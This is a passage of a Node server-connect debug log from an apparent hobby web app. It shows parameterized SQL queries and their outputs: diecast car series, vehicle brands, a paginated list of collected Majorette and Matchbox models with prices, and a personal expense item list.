  { name: 'HW Fan Driver', id: 159 },
  { name: "HW Truckin' Along", id: 160 },
  { name: 'HW Batman', id: 161 },
  { name: 'Neon Speeders - Mix 2', id: 162 },
  { name: 'HW Starting Grid', id: 163 },
  { name: 'HW Nightspeed', id: 164 },
  { name: 'HW Metro', id: 165 },
  { name: 'HW Experimotors', id: 166 },
  { name: 'HW Exotics', id: 170 },
  { name: 'Majorette Dream Italy Gift Set', id: 171 },
  { name: 'Majorette Light Racer Gift Set', id: 172 },
  { name: 'Majorette Porsche Edition Gift Set', id: 173 },
  { name: 'Majorette Limited Edition 9 Gift Set', id: 174 },
  { name: 'HW Silver Series', id: 176 },
  { name: 'HW Ride-Ons', id: 178 },
  { name: 'HW Euro', id: 179 },
  { name: 'HW Pantone', id: 180 },
  { name: 'HW Pop Culture', id: 181 },
  { name: 'Majorette Black Edition Gift Set', id: 193 },
  { name: 'Majorette Mercedes AMG Gift Set', id: 194 },
  { name: 'Majorette Castheads Gift Set', id: 195 }
]
2026-02-12T13:26:32.982Z server-connect:output restrict: undefined
2026-02-12T13:26:32.982Z server-connect:app Executing action step select
2026-02-12T13:26:32.982Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [ [Object], [Object] ],
    params: [ [Object] ],
    table: { name: 'collections' },
    primary: 'id',
    joins: [],
    wheres: {
      condition: 'AND',
      rules: [Array],
      conditional: null,
      valid: true
    },
    query: 'select `name`, `id` from `collections` where `collections`.`collectiontype_id` = ?'
  }
}
2026-02-12T13:26:32.985Z server-connect:output list: [
  { item_name: 'Clothing', item_id: 27, category_name: 'Apparel' },
  { item_name: 'Fashion', item_id: 28, category_name: 'Apparel' },
  { item_name: 'Shoes', item_id: 29, category_name: 'Apparel' },
  { item_name: 'Kurta Mens', item_id: 154, category_name: 'Apparel' },
  { item_name: 'Baby Towel', item_id: 161, category_name: 'Apparel' },
  { item_name: 'Bra', item_id: 178, category_name: 'Apparel' },
  { item_name: 'Dress', item_id: 188, category_name: 'Apparel' },
  { item_name: 'Stole', item_id: 193, category_name: 'Apparel' },
  { item_name: 'Leggings', item_id: 206, category_name: 'Apparel' },
  {
    item_name: 'Jockey Thermal Top',
    item_id: 208,
    category_name: 'Apparel'
  },
  { item_name: 'Chudas', item_id: 238, category_name: 'Apparel' },
  {
    item_name: 'Artifial Jwellery',
    item_id: 245,
    category_name: 'Apparel'
  },
  { item_name: 'Blazer', item_id: 267, category_name: 'Apparel' },
  { item_name: 'Nehru Jacket', item_id: 268, category_name: 'Apparel' },
  { item_name: 'Belt', item_id: 270, category_name: 'Apparel' },
  { item_name: 'Loafer', item_id: 272, category_name: 'Apparel' },
  { item_name: 'Pant', item_id: 274, category_name: 'Apparel' },
  {
    item_name: 'Winter Jacket',
    item_id: 275,
    category_name: 'Apparel'
  },
  { item_name: 'Girl Jacket', item_id: 276, category_name: 'Apparel' },
  { item_name: 'T Shirt', item_id: 277, category_name: 'Apparel' },
  { item_name: 'Shopping Bag', item_id: 278, category_name: 'Apparel' },
  { item_name: 'Blouse', item_id: 377, category_name: 'Apparel' },
  { item_name: 'Chappal', item_id: 378, category_name: 'Apparel' },
  { item_name: 'Saree', item_id: 392, category_name: 'Apparel' },
  { item_name: 'Skirt', item_id: 450, category_name: 'Apparel' },
  { item_name: 'Stall', item_id: 477, category_name: 'Apparel' },
  { item_name: 'Shorts', item_id: 529, category_name: 'Apparel' },
  { item_name: 'Juti', item_id: 616, category_name: 'Apparel' },
  {
    item_name: 'Cloth Fitting',
    item_id: 643,
    category_name: 'Apparel'
  },
  { item_name: 'Underwear', item_id: 651, category_name: 'Apparel' },
  { item_name: 'Cosmentics', item_id: 31, category_name: 'Beauty' },
  { item_name: 'Makeup', item_id: 32, category_name: 'Beauty' },
  { item_name: 'Accessories', item_id: 33, category_name: 'Beauty' },
  {
    item_name: 'Gillete Gaurd Machine',
    item_id: 135,
    category_name: 'Beauty'
  },
  {
    item_name: 'Gillete Gaurd Blades',
    item_id: 137,
    category_name: 'Beauty'
  },
  {
    item_name: 'Loreal Parish Condition',
    item_id: 176,
    category_name: 'Beauty'
  },
  {
    item_name: 'Shahnaz Hussain Facial Pack',
    item_id: 179,
    category_name: 'Beauty'
  },
  {
    item_name: 'Elle 18 Crayon',
    item_id: 180,
    category_name: 'Beauty'
  },
  { item_name: 'Hair Gel MG5', item_id: 273, category_name: 'Beauty' },
  {
    item_name: 'Ponds Whity Beuty',
    item_id: 324,
    category_name: 'Beauty'
  },
  {
    item_name: 'Ponds face wash',
    item_id: 326,
    category_name: 'Beauty'
  },
  { item_name: 'Hair clip', item_id: 337, category_name: 'Beauty' },
  { item_name: 'Lotus cream', item_id: 437, category_name: 'Beauty' },
  { item_name: 'Hair Band', item_id: 476, category_name: 'Beauty' },
  {
    item_name: 'Loreal Conditional',
    item_id: 561,
    category_name: 'Beauty'
  },
  {
    item_name: 'Ram Narayan Jwellery',
    item_id: 564,
    category_name: 'Beauty'
  },
  {
    item_name: 'Boutique moisturizing cream',
    item_id: 592,
    category_name: 'Beauty'
  },
  { item_name: 'D tan', item_id: 593, category_name: 'Beauty' },
  { item_name: 'Pani Puri', item_id: 56, category_name: 'Eating Out' },
  { item_name: 'Cold Drink', item_id: 59, category_name: 'Eating Out' },
  { item_name: 'Lunch', item_id: 63, category_name: 'Eating Out' },
  { item_name: 'Dinner', item_id: 64, category_name: 'Eating Out' },
  {
    item_name: 'Chicken Tikka',
    item_id: 67,
    category_name: 'Eating Out'
  },
  { item_name: 'Momos', item_id: 68, category_name: 'Eating Out' },
  { item_name: 'Faluda', item_id: 69, category_name: 'Eating Out' },
  { item_name: 'Pastry', item_id: 72, category_name: 'Eating Out' },
  {
    item_name: 'Fruit Cream',
    item_id: 73,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Rabdi Bottle',
    item_id: 74,
    category_name: 'Eating Out'
  },
  { item_name: 'Idli Fry', item_id: 80, category_name: 'Eating Out' },
  {
    item_name: 'Ferroro Rocher Shake',
    item_id: 82,
    category_name: 'Eating Out'
  },
  { item_name: 'Sandwich', item_id: 83, category_name: 'Eating Out' },
  {
    item_name: 'Pineapple Juice',
    item_id: 84,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Mausmi Juice',
    item_id: 85,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Kitkat Shake',
    item_id: 87,
    category_name: 'Eating Out'
  },
  { item_name: 'Tea', item_id: 100, category_name: 'Eating Out' },
  {
    item_name: 'Bread Butter',
    item_id: 104,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Spring Roll',
    item_id: 114,
    category_name: 'Eating Out'
  },
  { item_name: 'Red Bull', item_id: 125, category_name: 'Eating Out' },
  { item_name: 'Nimbuz', item_id: 132, category_name: 'Eating Out' },
  {
    item_name: 'Kadi kachori',
    item_id: 140,
    category_name: 'Eating Out'
  },
  { item_name: 'Nimu soda', item_id: 141, category_name: 'Eating Out' },
  {
    item_name: 'Chocho Lottie Pie',
    item_id: 156,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Manchurian',
    item_id: 157,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Cold coffee',
    item_id: 158,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Sprite Cold Drink',
    item_id: 170,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Snickers Chochlate',
    item_id: 171,
    category_name: 'Eating Out'
  },
  { item_name: 'Puff Corn', item_id: 172, category_name: 'Eating Out' },
  {
    item_name: 'Cadbusy Fuse Chochlate',
    item_id: 174,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Five Starts Chochlate',
    item_id: 175,
    category_name: 'Eating Out'
  },
  { item_name: 'Mithai', item_id: 190, category_name: 'Eating Out' },
  {
    item_name: 'Real Juice',
    item_id: 195,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Fanta Cold Drink',
    item_id: 198,
    category_name: 'Eating Out'
  },
  { item_name: 'Ice Cream', item_id: 199, category_name: 'Eating Out' },
  {
    item_name: 'Chicken Ready Made',
    item_id: 203,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Sunfest Yuppie Noodles',
    item_id: 204,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Kingfisher mint cold drink',
    item_id: 205,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Ghewar Mithai',
    item_id: 226,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Moti choor Ladoo',
    item_id: 227,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Chichen Tikka Roll',
    item_id: 233,
    category_name: 'Eating Out'
  },
  { item_name: 'Pav Bhaji', item_id: 234, category_name: 'Eating Out' },
  { item_name: 'Fish', item_id: 235, category_name: 'Eating Out' },
  { item_name: 'Dabeli', item_id: 236, category_name: 'Eating Out' },
  {
    item_name: 'Gulab Jamun',
    item_id: 248,
    category_name: 'Eating Out'
  },
  { item_name: 'soya chap', item_id: 255, category_name: 'Eating Out' },
  {
    item_name: 'Pineapple shake',
    item_id: 256,
    category_name: 'Eating Out'
  },
  { item_name: 'Tiffin', item_id: 259, category_name: 'Eating Out' },
  { item_name: 'Pizza', item_id: 260, category_name: 'Eating Out' },
  {
    item_name: 'Sitafal Thick Shake',
    item_id: 261,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Fruit Punch thick shake',
    item_id: 262,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Chole Kulche',
    item_id: 264,
    category_name: 'Eating Out'
  },
  ... 534 more items
]
2026-02-12T13:26:32.986Z server-connect:output list: [
  { name: 'Ford', id: 108 },
  { name: 'Renault', id: 109 },
  { name: 'Citroën', id: 110 },
  { name: 'Volkswagen', id: 111 },
  { name: 'Honda', id: 112 },
  { name: 'Mercedes', id: 113 },
  { name: 'McLaren', id: 114 },
  { name: 'Lamborghini', id: 115 },
  { name: 'Nissan', id: 116 },
  { name: 'Land Rover', id: 117 },
  { name: 'Chevrolet', id: 118 },
  { name: 'Toyota', id: 119 },
  { name: 'Mitsubishi', id: 120 },
  { name: 'Peugeot', id: 121 },
  { name: 'Jeep', id: 122 },
  { name: 'Volvo', id: 123 },
  { name: 'Ferrari', id: 124 },
  { name: 'Bentley', id: 125 },
  { name: 'BMW', id: 126 },
  { name: 'Dodge', id: 127 },
  { name: 'Alfa Romeo', id: 128 },
  { name: 'Bugatti', id: 129 },
  { name: 'Porsche', id: 130 },
  { name: 'Scania', id: 131 },
  { name: 'Audi', id: 132 },
  { name: 'Jaguar', id: 133 },
  { name: 'Pontiac', id: 134 },
  { name: 'Czinger', id: 135 },
  { name: 'Austin', id: 136 },
  { name: 'Mazda', id: 137 },
  { name: 'Gordon Murray', id: 138 },
  { name: 'Formula', id: 139 },
  { name: 'GMC', id: 140 },
  { name: 'Ferrari', id: 141 },
  { name: 'Fantasy', id: 142 },
  { name: 'Corvette ', id: 152 },
  { name: 'Subaru', id: 153 },
  { name: 'Polaris ', id: 154 },
  { name: 'MBX', id: 155 },
  { name: 'Masserti', id: 157 },
  { name: 'Mcmurtry', id: 167 },
  { name: 'Pagani', id: 168 },
  { name: 'Cadillac', id: 169 },
  { name: 'Suzuki', id: 175 },
  { name: 'Spider Man', id: 183 },
  { name: 'Lucid', id: 184 },
  { name: 'Lotus', id: 185 },
  { name: 'Datsun', id: 186 },
  { name: 'RAM', id: 189 },
  { name: 'Plymouth', id: 190 },
  { name: 'Pierce', id: 192 },
  { name: 'Alpine', id: 196 },
  { name: 'Lexus', id: 197 }
]
2026-02-12T13:26:32.990Z server-connect:output list: {
  offset: 0,
  limit: 25,
  total: 167,
  page: {
    offset: { first: 0, prev: 0, next: 25, last: 150 },
    current: 1,
    total: 7
  },
  data: [
    {
      id: 190,
      model_name: '2021 Lexus LC 500',
      release_year: 2026,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-02-08T18:30:00.000Z',
      price: '179.00',
      brand: 'Matchbox',
      series: 'Mainline',
      brand_id: 73,
      series_id: 75,
      case: 'D',
      vehicle_brand_name: 'Lexus',
      vehicle_brand_id: 197,
      condition: 'Carded',
      yt_short_created: 0,
      yt_video_created: 0,
      photoshoot: 0,
      overview_created: 0,
      diecast_images: [Array]
    },
    {
      id: 189,
      model_name: 'Porsche 911 Targa',
      release_year: 2026,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-02-08T18:30:00.000Z',
      price: '179.00',
      brand: 'Matchbox',
      series: 'Mainline',
      brand_id: 73,
      series_id: 75,
      case: 'D',
      vehicle_brand_name: 'Porsche',
      vehicle_brand_id: 130,
      condition: '',
      yt_short_created: 0,
      yt_video_created: 0,
      photoshoot: 0,
      overview_created: 0,
      diecast_images: [Array]
    },
    {
      id: 188,
      model_name: 'Ford Bronco',
      release_year: 2026,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-29T18:30:00.000Z',
      price: '399.00',
      brand: 'Majorette',
      series: 'Mainline',
      brand_id: 72,
      series_id: 75,
      case: '',
      vehicle_brand_name: 'Ford',
      vehicle_brand_id: 108,
      condition: 'Carded',
      yt_short_created: 0,
      yt_video_created: 0,
      photoshoot: 0,
      overview_created: 0,
      diecast_images: [Array]
    },
    {
      id: 187,
      model_name: 'Ford F-150 Raptor',
      release_year: 2026,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-29T18:30:00.000Z',
      price: '399.00',
      brand: 'Majorette',
      series: 'Mainline',
      brand_id: 72,
      series_id: 75,
      case: '',
      vehicle_brand_name: 'Ford',
      vehicle_brand_id: 108,
      condition: 'Carded',
      yt_short_created: 0,
      yt_video_created: 0,
      photoshoot: 0,
      overview_created: 0,
      diecast_images: [Array]
    },
    {
      id: 186,
      model_name: 'Alfa Romeo Tonale',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-12-16T18:30:00.000Z',
      price: '350.00',
      brand: 'Majorette',
      series: 'Mainline',
      brand_id: 72,
      series_id: 75,
      case: '',
      vehicle_brand_name: 'Alfa Romeo',
      vehicle_brand_id: 128,
      condition: 'Carded',
      yt_short_created: 0,
      yt_video_created: 0,
      photoshoot: 0,
      overview_created: 0,
      diecast_images: [Array]
    },
    {
      id: 185,
      model_name: 'Volkswagen ID Buzz Cargo',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-12-16T18:30:00.000Z',
      price: '350.00',
      brand: 'Majorette',
      series: 'Mainline',
      brand_id: 72,
      series_id: 75,
      case: '',
      vehicle_brand_name: 'Volkswagen',
      vehicle_brand_id: 111,
      condition: 'Carded',
      yt_short_created: 0,
      yt_video_created: 0,
      photoshoot: 0,
      overview_created: 0,
      diecast_images: [Array]
    },
    {
      id: 184,
      model_name: 'Datsun 240Z',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-12-23T18:30:00.000Z',
      price: '350.00',
      brand: 'Majorette',
      series: 'Mainline',
      brand_id: 72,
      series_id: 75,
      case: '',
      vehicle_brand_name: 'Datsun',
      vehicle_brand_id: 186,
      condition: 'Carded',
      yt_short_created: 0,
      yt_video_created: 0,
      photoshoot: 0,
      overview_created: 0,
      diecast_images: [Array]
    },
    {
      id: 183,
      model_name: 'Alpine A110 R',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-12-23T18:30:00.000Z',
      price: '350.00',
      brand: 'Majorette',
      series: 'Mainline',
      brand_id: 72,
      series_id: 75,
      case: '',
      vehicle_brand_name: 'Alpine',
      vehicle_brand_id: 196,
      condition: 'Carded',
      yt_short_created: 0,
      yt_video_created: 0,
      photoshoot: 0,
      overview_created: 0,
      diecast_images: [Array]
    },
    {
      id: 182,
      model_name: 'Audi Q4 e-tron',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-29T18:30:00.000Z',
      price: '350.00',
      brand: 'Majorette',
      series: 'Mainline',
      brand_id: 72,
      series_id: 75,
      case: '',
      vehicle_brand_name: 'Audi',
      vehicle_brand_id: 132,
      condition: 'Carded',
      yt_short_created: 0,
      yt_video_created: 0,
      photoshoot: 0,
      overview_created: 0,
      diecast_images: [Array]
    },
    {
      id: 181,
      model_name: 'Renault Master',
      release_year: 2026,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-29T18:30:00.000Z',
      price: '179.00',
      brand: 'Majorette',
      series: 'Mainline',
      brand_id: 72,
      series_id: 75,
      case: '',
      vehicle_brand_name: 'Renault',
      vehicle_brand_id: 109,
      condition: 'Carded',
      yt_short_created: 0,
      yt_video_created: 0,
      photoshoot: 0,
      overview_created: 0,
      diecast_images: [Array]
    },
    {
      id: 180,
      model_name: 'Mercedes-Benz G 500',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-29T18:30:00.000Z',
      price: '340.00',
      brand: 'Majorette',
      series: 'Majorette Castheads Gift Set',
      brand_id: 72,
      series_id: 195,
      case: '',
      vehicle_brand_name: 'Mercedes',
      vehicle_brand_id: 113,
      condition: 'Carded',
      yt_short_created: 0,
      yt_video_created: 0,
      photoshoot: 0,
      overview_created: 0,
      diecast_images: [Array]
    },
    {
      id: 179,
      model_name: 'Mercedes-Benz 190 E 2.5-16 EVO II',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-29T18:30:00.000Z',
      price: '340.00',
      brand: 'Majorette',
      series: 'Majorette Castheads Gift Set',
      brand_id: 72,
      series_id: 195,
      case: '',
      vehicle_brand_name: 'Mercedes',
      vehicle_brand_id: 113,
      condition: 'Carded',
      yt_short_created: 0,
      yt_video_created: 0,
      photoshoot: 0,
      overview_created: 0,
      diecast_images: [Array]
    },
    {
      id: 178,
      model_name: 'Land Rover Defender 90',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-29T18:30:00.000Z',
      price: '340.00',
      brand: 'Majorette',
      series: 'Majorette Castheads Gift Set',
      brand_id: 72,
      series_id: 195,
      case: '',
      vehicle_brand_name: 'Land Rover',
      vehicle_brand_id: 117,
      condition: 'Carded',
      yt_short_created: 0,
      yt_video_created: 0,
      photoshoot: 0,
      overview_created: 0,
      diecast_images: [Array]
    },
    {
      id: 177,
      model_name: 'Ford Bronco Wildtrak',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-29T18:30:00.000Z',
      price: '340.00',
      brand: 'Majorette',
      series: 'Majorette Castheads Gift Set',
      brand_id: 72,
      series_id: 195,
      case: '',
      vehicle_brand_name: 'Ford',
      vehicle_brand_id: 108,
      condition: 'Carded',
      yt_short_created: 0,
      yt_video_created: 0,
      photoshoot: 0,
      overview_created: 0,
      diecast_images: [Array]
    },
    {
      id: 176,
      model_name: 'Ford Mustang Fastback',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-29T18:30:00.000Z',
      price: '340.00',
      brand: 'Majorette',
      series: 'Majorette Castheads Gift Set',
      brand_id: 72,
      series_id: 195,
      case: '',
      vehicle_brand_name: 'Ford',
      vehicle_brand_id: 108,
      condition: 'Carded',
      yt_short_created: 0,
      yt_video_created: 0,
      photoshoot: 0,
      overview_created: 0,
      diecast_images: [Array]
    },
    {
      id: 175,
      model_name: 'Mercedes-AMG CLE 53 ',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-14T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Mercedes AMG Gift Set',
      brand_id: 72,
      series_id: 194,
      case: '',
      vehicle_brand_name: 'Mercedes',
      vehicle_brand_id: 113,
      condition: 'Carded',
      yt_short_created: 0,
      yt_video_created: 0,
      photoshoot: 0,
      overview_created: 0,
      diecast_images: [Array]
    },
    {
      id: 174,
      model_name: 'Mercedes-AMG GLC 63 S',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-14T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Mercedes AMG Gift Set',
      brand_id: 72,
      series_id: 194,
      case: '',
      vehicle_brand_name: 'Mercedes',
      vehicle_brand_id: 113,
      condition: 'Carded',
      yt_short_created: 0,
      yt_video_created: 0,
      photoshoot: 0,
      overview_created: 0,
      diecast_images: [Array]
    },
    {
      id: 173,
      model_name: 'Mercedes-AMG A 35',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-14T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Mercedes AMG Gift Set',
      brand_id: 72,
      series_id: 194,
      case: '',
      vehicle_brand_name: 'Mercedes',
      vehicle_brand_id: 113,
      condition: 'Carded',
      yt_short_created: 0,
      yt_video_created: 0,
      photoshoot: 0,
      overview_created: 0,
      diecast_images: [Array]
    },
    {
      id: 172,
      model_name: 'Mercedes-AMG SL 63',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-14T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Mercedes AMG Gift Set',
      brand_id: 72,
      series_id: 194,
      case: '',
      vehicle_brand_name: 'Mercedes',
      vehicle_brand_id: 113,
      condition: 'Carded',
      yt_short_created: 0,
      yt_video_created: 0,
      photoshoot: 0,
      overview_created: 0,
      diecast_images: [Array]
    },
    {
      id: 171,
      model_name: 'Mercedes-AMG GT 63',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-14T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Mercedes AMG Gift Set',
      brand_id: 72,
      series_id: 194,
      case: '',
      vehicle_brand_name: 'Mercedes',
      vehicle_brand_id: 113,
      condition: 'Carded',
      yt_short_created: 0,
      yt_video_created: 0,
      photoshoot: 0,
      overview_created: 0,
      diecast_images: [Array]
    },
    {
      id: 165,
      model_name: 'GMC Hummer EV',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-14T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Black Edition Gift Set',
      brand_id: 72,
      series_id: 193,
      case: '',
      vehicle_brand_name: 'GMC',
      vehicle_brand_id: 140,
      condition: 'Uncarded',
      yt_short_created: 0,
      yt_video_created: 0,
      photoshoot: 0,
      overview_created: 0,
      diecast_images: [Array]
    },
    {
      id: 164,
      model_name: 'Land Rover Defender 90',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-14T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Black Edition Gift Set',
      brand_id: 72,
      series_id: 193,
      case: '',
      vehicle_brand_name: 'Land Rover',
      vehicle_brand_id: 117,
      condition: 'Uncarded',
      yt_short_created: 0,
      yt_video_created: 0,
      photoshoot: 0,
      overview_created: 0,
      diecast_images: [Array]
    },
    {
      id: 163,
      model_name: 'Toyota GR Supra',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-14T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Black Edition Gift Set',
      brand_id: 72,
      series_id: 193,
      case: '',
      vehicle_brand_name: 'Toyota',
      vehicle_brand_id: 119,
      condition: 'Uncarded',
      yt_short_created: 0,
      yt_video_created: 0,
      photoshoot: 0,
      overview_created: 0,
      diecast_images: [Array]
    },
    {
      id: 162,
      model_name: 'Lamborghini Sián FKP 37',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-14T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Black Edition Gift Set',
      brand_id: 72,
      series_id: 193,
      case: '',
      vehicle_brand_name: 'Lamborghini',
      vehicle_brand_id: 115,
      condition: 'Uncarded',
      yt_short_created: 0,
      yt_video_created: 0,
      photoshoot: 0,
      overview_created: 0,
      diecast_images: [Array]
    },
    {
      id: 161,
      model_name: 'Bugatti Chiron Pur Sport',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-14T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Black Edition Gift Set',
      brand_id: 72,
      series_id: 193,
      case: '',
      vehicle_brand_name: 'Bugatti',
      vehicle_brand_id: 129,
      condition: 'Uncarded',
      yt_short_created: 0,
      yt_video_created: 0,
      photoshoot: 0,
      overview_created: 0,
      diecast_images: [Array]
    }
  ]
}
2026-02-12T13:26:32.991Z server-connect:router Serving serverConnect /api/diecast/get-filters
2026-02-12T13:26:32.991Z server-connect:app Executing action step identify
2026-02-12T13:26:32.991Z server-connect:app options: { provider: 'security' }
2026-02-12T13:26:32.991Z server-connect:output identity: 1
2026-02-12T13:26:32.991Z server-connect:app Executing action step restrict
2026-02-12T13:26:32.991Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2026-02-12T13:26:32.992Z server-connect:output restrict: undefined
2026-02-12T13:26:32.992Z server-connect:app Executing action step select
2026-02-12T13:26:32.992Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [ [Object], [Object] ],
    params: [],
    table: { name: 'diecast_cars' },
    primary: 'id',
    joins: [ [Object] ],
    query: 'select distinct `collections`.`id`, `collections`.`name` from `diecast_cars` inner join `collections` on `collections`.`id` = `diecast_cars`.`vehicle_brand_id` order by `collections`.`name` ASC',
    orders: [ [Object] ],
    distinct: true
  }
}
2026-02-12T13:26:32.993Z server-connect:output brand: [
  { id: 128, name: 'Alfa Romeo' },
  { id: 196, name: 'Alpine' },
  { id: 132, name: 'Audi' },
  { id: 136, name: 'Austin' },
  { id: 125, name: 'Bentley' },
  { id: 126, name: 'BMW' },
  { id: 129, name: 'Bugatti' },
  { id: 169, name: 'Cadillac' },
  { id: 118, name: 'Chevrolet' },
  { id: 152, name: 'Corvette ' },
  { id: 135, name: 'Czinger' },
  { id: 186, name: 'Datsun' },
  { id: 127, name: 'Dodge' },
  { id: 142, name: 'Fantasy' },
  { id: 124, name: 'Ferrari' },
  { id: 108, name: 'Ford' },
  { id: 139, name: 'Formula' },
  { id: 140, name: 'GMC' },
  { id: 138, name: 'Gordon Murray' },
  { id: 112, name: 'Honda' },
  { id: 133, name: 'Jaguar' },
  { id: 122, name: 'Jeep' },
  { id: 115, name: 'Lamborghini' },
  { id: 117, name: 'Land Rover' },
  { id: 197, name: 'Lexus' },
  { id: 185, name: 'Lotus' },
  { id: 184, name: 'Lucid' },
  { id: 157, name: 'Masserti' },
  { id: 137, name: 'Mazda' },
  { id: 155, name: 'MBX' },
  { id: 114, name: 'McLaren' },
  { id: 167, name: 'Mcmurtry' },
  { id: 113, name: 'Mercedes' },
  { id: 116, name: 'Nissan' },
  { id: 168, name: 'Pagani' },
  { id: 121, name: 'Peugeot' },
  { id: 192, name: 'Pierce' },
  { id: 190, name: 'Plymouth' },
  { id: 154, name: 'Polaris ' },
  { id: 134, name: 'Pontiac' },
  { id: 130, name: 'Porsche' },
  { id: 189, name: 'RAM' },
  { id: 109, name: 'Renault' },
  { id: 131, name: 'Scania' },
  { id: 183, name: 'Spider Man' },
  { id: 153, name: 'Subaru' },
  { id: 175, name: 'Suzuki' },
  { id: 119, name: 'Toyota' },
  { id: 111, name: 'Volkswagen' },
  { id: 123, name: 'Volvo' }
]
2026-02-12T13:26:32.993Z server-connect:app Executing action step select
2026-02-12T13:26:32.993Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [ [Object], [Object] ],
    params: [],
    table: { name: 'diecast_cars' },
    primary: 'id',
    joins: [ [Object] ],
    query: 'select distinct `collections`.`id`, `collections`.`name` from `diecast_cars` inner join `collections` on `collections`.`id` = `diecast_cars`.`series` order by `collections`.`name` ASC',
    orders: [ [Object] ],
    distinct: true
  }
}
2026-02-12T13:26:32.994Z server-connect:output series: [
  { id: 92, name: 'Fantasy' },
  { id: 99, name: 'HW 70s vs 90s' },
  { id: 105, name: 'HW Art Cars' },
  { id: 161, name: 'HW Batman' },
  { id: 98, name: 'HW Celebration Racers' },
  { id: 149, name: 'HW Compact Kings' },
  { id: 94, name: 'HW Dirt' },
  { id: 179, name: 'HW Euro' },
  { id: 107, name: 'HW EV' },
  { id: 170, name: 'HW Exotics' },
  { id: 166, name: 'HW Experimotors' },
  { id: 145, name: 'HW Factory Fresh' },
  { id: 159, name: 'HW Fan Driver' },
  { id: 97, name: 'HW Hot Trucks' },
  { id: 165, name: 'HW Metro' },
  { id: 103, name: 'HW Modified' },
  { id: 96, name: 'HW Muscle Mania' },
  { id: 147, name: 'HW Mustang 60th' },
  { id: 164, name: 'HW Nightspeed' },
  { id: 180, name: 'HW Pantone' },
  { id: 106, name: 'HW Peak Pursuit' },
  { id: 181, name: 'HW Pop Culture' },
  { id: 95, name: 'HW Race day' },
  { id: 150, name: 'HW Reverse Rake' },
  { id: 178, name: 'HW Ride-Ons' },
  { id: 151, name: 'HW Rod Squad' },
  { id: 144, name: 'HW Safari Mode' },
  { id: 176, name: 'HW Silver Series' },
  { id: 163, name: 'HW Starting Grid' },
  { id: 101, name: 'HW Then and now' },
  { id: 146, name: 'HW Track Aces' },
  { id: 100, name: 'HW Track Champs' },
  { id: 160, name: "HW Truckin' Along" },
  { id: 102, name: 'HW Wagons' },
  { id: 104, name: 'HW Wide Widebody' },
  { id: 148, name: 'HW Wild Widebody' },
  { id: 75, name: 'Mainline' },
  { id: 193, name: 'Majorette Black Edition Gift Set' },
  { id: 195, name: 'Majorette Castheads Gift Set' },
  { id: 171, name: 'Majorette Dream Italy Gift Set' },
  { id: 172, name: 'Majorette Light Racer Gift Set' },
  { id: 174, name: 'Majorette Limited Edition 9 Gift Set' },
  { id: 194, name: 'Majorette Mercedes AMG Gift Set' },
